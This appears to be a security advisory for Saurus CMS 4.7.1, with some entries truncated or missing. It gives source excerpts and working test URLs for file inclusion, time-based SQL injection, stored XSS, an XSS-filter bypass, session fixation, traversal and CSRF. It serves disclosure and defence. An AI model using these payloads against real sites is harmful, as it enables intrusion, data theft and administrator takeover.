http://www.saurus.info/version-history/

###############################################################################
1. Local File Inclusion in "admin/fckeditor_dialog_image.php"
###############################################################################

Reason:
1. insufficient sanitization of user-supplied data
Attack vector:
1. user-supplied parameter "dialog"
Preconditions:
1. Logged in as Saurus CMS user
2. At least one valid file ID must be known (can be bruteforced)

Php script "admin/fckeditor_dialog_image.php" line 101:
------------------------[ source code start ]----------------------------------
$object = new Objekt(array(
'objekt_id' => (int)$site->fdat['file_id'],
'on_sisu' => 1,
));
...
include_once('../js/fckeditor/editor/'.$site->fdat['dialog']);
------------------------[ source code end ]------------------------------------

Test (parameter "file_id" must be valid):

http://localhost/saurus471/admin/fckeditor_dialog_image.php?file_id=10572&dialog=../../../.htaccess

Result: contents of ".htaccess" file from Saurus CMS root directory will be
revealed, LFI confirmed.

###############################################################################
2. Local File Inclusion in "extensions/saurus4/captcha_image.php"
###############################################################################

Reason:
1. uninitialized variable "$captcha"
Attack vector:
1. user-supplied parameter "captcha"
Preconditions:
1. PHP setting "register_globals = on"

Php script "extensions/saurus4/captcha_image.php" line 45:
------------------------[ source code start ]----------------------------------
switch ($captcha['image_type'])
{
case 'gif':
include_once($class_path.'lgpl/GotchaGIF.class.php');
$img = new GotchaGIF($captcha['image_width'], $captcha['image_height']);
break;
...
if($img->create())
{
//apply effects
foreach($captcha['effects'] as $effect)
{
$effect_name = $effect['name'];
//echo $effect_name;
include_once($class_path.'lgpl/'.$effect_name.'.class.php');
------------------------[ source code end ]------------------------------------

Test:

http://localhost/saurus471/extensions/saurus4/captcha_image.php?
captcha[image_type]=gif&captcha[image_width]=50&captcha[image_height]=50&
captcha[effects][0][name]=../waraxe

Result:

Warning: include_once(../../classes/lgpl/../waraxe.class.php) [function.include-once]:
failed to open stream: No such file or directory in
C:apache_wwwsaurus471extensionssaurus4captcha_image.php on line 73

PHP error message above confirms LFI vulnerability.

###############################################################################
3. Local File Inclusion in "admin/edit.php"
###############################################################################

Reason:
1. insufficient sanitization of user-supplied data
Attack vector:
1. user-supplied parameter "extension_path"
Preconditions:
1. Logged in as Saurus CMS user

Php script "admin/edit.php" line 76:
------------------------[ source code start ]----------------------------------
if($site->fdat['extension_path'])
{
$actions_file = '..'.$site->fdat['extension_path'].'/actions.inc.php';
...
if (file_exists($actions_file)){
include_once($actions_file);
------------------------[ source code end ]------------------------------------

###############################################################################
4. Remote File Inclusion in "map.php"
###############################################################################

Reason:
1. insufficient sanitization of user-supplied data
Attack vector:
1. user-supplied GET parameter "cmd"
Preconditions:
1. Windows server

Php script "map.php" line 56:
------------------------[ source code start ]----------------------------------
$tmp_cmd=explode("/",$_GET['cmd']);
...
foreach($tmp_cmd as $t){

// if the there is a .php in the URL then don't use aliases go directly to that file
if(preg_match('/.php$/i', $t) && file_exists($t) && !preg_match("#^../#", $t))
...
include($t);
------------------------[ source code end ]------------------------------------

On *nix servers this code above is secure enough, but things change in case of
Windows server - attacker is able to use backslashes, which leads to RFI.

Example attack using local file:

http://localhost/saurus471/map.php?cmd=........ est.php

Example attack using remote file:

http://localhost/saurus471/map.php?cmd=\192.168.1.25 est.php

###############################################################################
5. Remote File Inclusion in "admin/change_config.php"
###############################################################################

Reason:
1. uninitialized variable "$class_path"
Attack vector:
1. user-supplied parameter "class_path"
Preconditions:
1. PHP setting "register_globals = on"

Php script "admin/change_config.php" line 25:
------------------------[ source code start ]----------------------------------
global $class_path;
...
if(!isset($class_path)) {
$class_path = "../classes/";
}
...
include_once($class_path."port.inc.php");
------------------------[ source code end ]------------------------------------

Test:

http://localhost/saurus471/admin/change_config.php?class_path=http://php.net/?

###############################################################################
6. Remote File Inclusion in "admin/repair_database.php"
###############################################################################

Reason:
1. uninitialized variable "$class_path"
Attack vector:
1. user-supplied parameter "class_path"
Preconditions:
1. PHP setting "register_globals = on"

Php script "admin/repair_database.php" line 23:
------------------------[ source code start ]----------------------------------
global $class_path;

if(!isset($class_path)) {
$class_path = "../classes/";
}

include_once($class_path."port.inc.php");
------------------------[ source code end ]------------------------------------

Test:

http://localhost/saurus471/admin/repair_database.php?class_path=http://php.net/?

###############################################################################
7. Remote File Inclusion in "admin/check_adminpage.php"
###############################################################################

Reason:
1. uninitialized variable "$class_path"
Attack vector:
1. user-supplied parameter "class_path"
Preconditions:
1. PHP setting "register_globals = on"

Php script "admin/check_adminpage.php" line 29:
------------------------[ source code start ]----------------------------------
if(!isset($class_path)) { $class_path = "../classes/"; }

include($class_path."port.inc.php");
------------------------[ source code end ]------------------------------------

Test:

http://localhost/saurus471/admin/check_adminpage.php?class_path=http://php.net/?

###############################################################################
8. SQL Injection in "index.php"
###############################################################################

Reason:
1. insufficient sanitization of user-supplied data
Attack vector:
1. user-supplied GET parameter "pg"
Preconditions:
1. PHP setting "magic_quotes_gpc = Off"

Php script "index.php" line 303:
------------------------[ source code start ]----------------------------------
if ($CMS_SETTINGS['switch_lang_enabled'] && !$cache_data && !$_GET['lang'] &&
!$_GET['keel'] && (is_numeric($_GET['id']) || is_numeric($_GET['pg']))){
$myid = $_GET['id'] ? $_GET['id'] : $_GET['pg'];
$sql = "SELECT keel.extension FROM objekt LEFT JOIN keel ON
keel.keel_id=objekt.keel WHERE objekt_id='".$myid."'";
$sth = new SQL($sql);
$mykeel = $sth->fetchsingle();
------------------------[ source code end ]------------------------------------

As seen above, user-submitted GET parameters "id" and "pg" are checked to be
numeric before using them in SQL query. If we analyze source code more closely,
then it appears to be not as secure as planned by programmer. Attacker can input
GET parameter "id" with value of "0" and GET parameter "pg" with SQL injection
string containing single quote. As parameter "id" is numeric, checking code will
be bypassed. Next line of code tests parameter "id" and because it is zero,
variable "$myid" will get value from parameter "pg". This leads to SQL Injection.

Test 1:

http://localhost/saurus471/?speed_debug=on&id=0&pg=123

Result: "Page was generated in 1.20000 seconds.", normal server response.

Test 2:

http://localhost/saurus471/?speed_debug=on&id=0&pg='+UNION+SELECT+SLEEP(5)%23

Result: "Page was generated in 6.17751 seconds.", delay observed, SQL Injection
confirmed.

###############################################################################
9. SQL Injection in "classes/sapi/function.init_search_results.php"
###############################################################################

Reason:
1. insufficient sanitization of user-supplied data
Attack vector:
1. user-supplied parameter "sites"
Preconditions: none

Php script "classes/sapi/function.init_search_results.php" line 27:
------------------------[ source code start ]----------------------------------
function smarty_function_init_search_results($params,&$smarty) {
...
if(!isset($sites)) $sites = $site->fdat['sites'];
...
$pre_search_explode=explode(",",strtolower(trim($sites)));
foreach($pre_search_explode as $k=>$v){
$pre_search_explode[$k]=trim($v);
}
$sql_keel = "SELECT keel_id FROM keel WHERE on_kasutusel=1 AND extension IN ('".implode("','",$pre_search_explode)."')";
...
$sth = new SQL($sql_keel);
while($r = $sth->fetch("ASSOC")){
$keeled[]=$r['keel_id'];
------------------------[ source code end ]------------------------------------

As seen above, user-submitted parameter "sites" ends up used in SQL query
without proper sanitization, which leads to SQL Injection vulnerability.

Test 1:

http://localhost/saurus471/index.php?op=search&speed_debug=on&sites=waraxe

Result: "Page was generated in 1.18560 seconds.", normal server response.

Test 2:

http://localhost/saurus471/index.php?op=search&speed_debug=on&sites=')UNION+SELECT+SLEEP(5)%23

Result: "Page was generated in 6.22651 seconds.", delay observed, SQL Injection
confirmed.

10. SQL Injection in "admin/error_log.php"
###############################################################################

Reason:
1. insufficient sanitization of user-supplied data
Attack vector:
1. user-supplied parameters "algus", "lopp", "err_type", "sortby" and "sort"
Preconditions:
1. logged in as Saurus CMS admin

Php script "admin/error_log.php" line 63:

15. SQL Injection in "admin/change_config.php"
###############################################################################

Reason:
1. insufficient sanitization of user-supplied data
Attack vector:

###############################################################################
16. Stored XSS in "admin/log.php"
###############################################################################

Reason:
1. improper encoding or escaping of output
Attack vector:
1. user-supplied parameter "user"
Preconditions:
1. 1. "Enable site log" enabled (it is by default)

Php script "classes/site.class.php" line 538:
------------------------[ source code start ]----------------------------------
if($this->fdat["op"] == 'login' && $this->fdat["url"] &&
$this->CONF['disable_form_based_login'] != "1") {
$this->user = new User(array(
user => $this->fdat["user"],
pass => $this->fdat["pass"],
"site" => &$this,

------------------------[ source code end ]------------------------------------

As seen above, in case of failed login attempt site log entry will be created,
containing various information, including submitted username.

Php script "admin/log.php" line 265:

<?php foreach ($log_records as $log_record) { //printr($log_record); ?>
...
<td><?=$log_record['message'];?></td>
------------------------[ source code end ]------------------------------------

We can see, that php script "admin/log.php", used by admins for sitelog view,
does not implement proper encoding or escaping of output, leading to Stored
XSS vulenrability. Because this specific XSS payload can be inserted by anonymous
user, but target victim is admin, then it has serious security impact and can
lead to site full compromise. Possible attack scenario: 1. Stored XSS insertion,
2. admin opens log.php, XSS payload steals CSRF token, 3. CSRF attack, new admin
account creation, 4. attacker logs in as new admin, game over ...

Test:

1. Issue GET request as below:

http://localhost/saurus471/admin/?op=login&url=1&user=<script>alert(123);</script>

2. Log in as Saurus CMS admin and open site log page:

http://localhost/saurus471/admin/log.php

Result:

javascript alert box pops up, confirming Stored XSS vulnerability.

###############################################################################
17. Stored XSS in "admin/error_log.php"
###############################################################################

Reason:
1. improper encoding or escaping of output
Preconditions:
1. "Save PHP and MySQL errors into the database" enabled (it is by default)

Php script "classes/port.inc.php" line 150:

------------------------[ source code end ]------------------------------------

As seen above, new PHP error handler is defined, which writes all PHP error
messages to error log in database.

Php script "admin/error_log.php" line 320:
------------------------[ source code start ]----------------------------------
<td width="60%"><?= $log['err_text'] ?></td>
------------------------[ source code end ]------------------------------------

We can see, that php script "admin/log.php", used by admins for error log view,
does not implement proper encoding or escaping of output, leading to Stored
XSS vulenrability. Because this specific XSS payload can be inserted by anonymous
user, but target victim is admin, then it has serious security impact and can
lead to site full compromise by similar scenario as described in previous case.

Test:

1. Issue GET request as below (MySQL Injection from one of the previous cases):

http://localhost/saurus471/?id=0&pg='<script>alert(123);</script>

2. Log in as Saurus CMS admin and open erro log page:

http://localhost/saurus471/admin/error_log.php

Result:

javascript alert box pops up, confirming Stored XSS vulnerability.

18. XSS protection bypass in "classes/port.inc.php"
###############################################################################

Php script "classes/port.inc.php" line 536:
------------------------[ source code start ]----------------------------------
if(strstr($_SERVER['REQUEST_URI'], $CMS_SETTINGS['wwwroot'].'/admin/') === false && (

detect_xss_in_saurus_params($_GET))
)
{
header('Location: '.$CMS_SETTINGS['wwwroot'].'/index.php');
exit;
}
------------------------[ source code end ]------------------------------------

We can see, that XSS detection functions are used against various input parameters
and in case of positive hit redirection to home page follows. There is custom
exclusion in place for administrative scripts and it's implementation is not
secure enough - attacker can use "$CMS_SETTINGS['wwwroot'].'/admin/'" string
in URI and XSS detection will be bypassed.
String for XSS detection bypass is "/saurus471/admin/" in examples below.

Test 1:

http://localhost/saurus471/kalender.php?month=<script>

Result: XSS detected, redirection follows

Test 2:

http://localhost/saurus471/kalender.php?/saurus471/admin/&month=<script>

Result: XSS not detected, no redirection

44. Session Fixation vulnerability in "admin/ajax_response.php"
###############################################################################

Attack vector:
1. user-supplied POST parameter "PHPSESSID"
Preconditions: none

Some years ago PHP session fixation attacks were easy to exploit: just add
PHPSESSID=112233445566 to URI and done. Modern PHP versions are more secure by
default: PHP setting "session.use_only_cookies" defaults to "1" since 5.3.0,
"session.use_trans_sid" defaults to "0". So even if PHP-based web application
does have session fixation vulnerability, many real world installations are hard
to exploit. Now let's look at Saurus CMS source code.

Php script "admin/ajax_response.php" line 27:
------------------------[ source code start ]----------------------------------
if(isset($_POST['PHPSESSID']))
{
session_id($_POST['PHPSESSID']);
session_start();
}
------------------------[ source code end ]------------------------------------

We can see, that user-submitted POST parameter PHPSESSID is used as argument for
PHP function "session_id()", which is followed by "session_start()". It means,
that even if "session.use_only_cookies=1" and "session.use_trans_sid=0", session
fixation attacks are possible.

Test:

<html><body><center>
<form action="http://localhost/saurus471/admin/ajax_response.php" method="post">
<input type="hidden" name="PHPSESSID" value="1122334455667788">
<input type="submit" value="Test">
</form>
</center></body></html>

Press "Test button" and then observe server response:

HTTP/1.1 200 OK
Date: Wed, 05 Jun 2013 10:26:19 GMT
Server: Apache/2.2.22 (Win32) DAV/2 mod_ssl/2.2.22 OpenSSL/0.9.8t
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: PHPSESSID=1122334455667788; path=/
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/javascript

Now log in as Saurus CMS admin and look for session cookies:

GET /saurus471/admin/index.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:21.0) Gecko/20100101 Firefox/21.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: logged=1; PHPSESSID=1122334455667788
Connection: keep-alive

We can see, that after authentication session ID does not change, which indicates
Session Fixation vulnerability existence.

Solution: implement session ID renewal after successful user authentication.

As seen above, php function "str_replace()" is used for filtering out possible
directory traversal substrings. Such filtering is not secure enough and can be
bypassed with specially crafted parameter "name".

Test 1:

http://localhost/saurus471/admin/ajax_response.php?op=check_file&name=..././..././/..././..././/..././..././/foobar.txt

Result: {"file_exists": 0}

Test 2:

http://localhost/saurus471/admin/ajax_response.php?op=check_file&name=..././..././/..././..././/..././..././/test.txt

Result: {"file_exists": 1}

46. Cross-Site Request Forgery in "admin/trash.php"
###############################################################################

Reason:
1. missing CSRF token checks
Result:
1. Unauthorized deletion of objects from Recycle Bin

Php script "admin/trash.php" line 85:
------------------------[ source code start ]----------------------------------
if($site->fdat['delete_all'] && count($site->fdat['objects']))
{
//empty trash
for($i = count($site->fdat['objects']) - 1; $i >= 0; $i--)
{
foreach($site->fdat['objects'][$i] as $object_id => $values) if($object_id)
{
$delete_objs = new Alamlist(array(
'parent' => $object_id,
'klass' => $classes,
));

while($object = $delete_objs->next())
{
$object->del();
------------------------[ source code end ]------------------------------------

As seen above, there is no protection against CSRF.

Test:

http://localhost/saurus471/admin/trash.php?delete_all=1&objects[]=1

Result (from sitelog): "Recycle Bin emptied"

Solution: use "verify_form_token()" function in critical places

###############################################################################
47. Cross-Site Request Forgery in "admin/change_config.php"
###############################################################################

Reason:
1. missing CSRF token checks
Result:
1. Unauthorized modification of site configuration

Php script "admin/change_config.php" line 85:
------------------------[ source code start ]----------------------------------
if ($site->fdat[salvesta]==1) {
foreach ($site->fdat as $key=>$value) {

if ( substr ($key, 0, 4) == "cff_" ) {
$sql = $site->db->prepare("UPDATE config SET sisu=? WHERE nimi=?", $value, substr ($key, 4));
$sth = new SQL($sql);
------------------------[ source code end ]------------------------------------

We can see, that there is no protection against CSRF.

Tests:

http://localhost/saurus471/admin/change_config.php?salvesta=1&cff_save_error_log=0
http://localhost/saurus471/admin/change_config.php?salvesta=1&cff_save_error_log=1

Result:

Saurus CMS configuration setting "save_error_log" has been changed

Solution: use "verify_form_token()" function in critical places

###############################################################################
48. Cross-Site Request Forgery in "admin/forms.php"
###############################################################################

Reason:
1. missing CSRF token checks
Result:
1. Unauthorized deletion of forms

Php script "admin/forms.php" line 137:
------------------------[ source code start ]----------------------------------
if($site->fdat['op2'] == 'deleteconfirmed' && $site->fdat['form_id']) {

# delete form
$sql = $site->db->prepare("DELETE FROM forms WHERE form_id=?",$site->fdat['form_id']);
$sth = new SQL($sql);
------------------------[ source code end ]------------------------------------

We can see, that there is no protection against CSRF.

Test:

http://localhost/saurus471/admin/forms.php?op2=deleteconfirmed&form_id=5

Result (from sitelog): "Form 'testform' deleted"

Solution: use "verify_form_token()" function in critical places
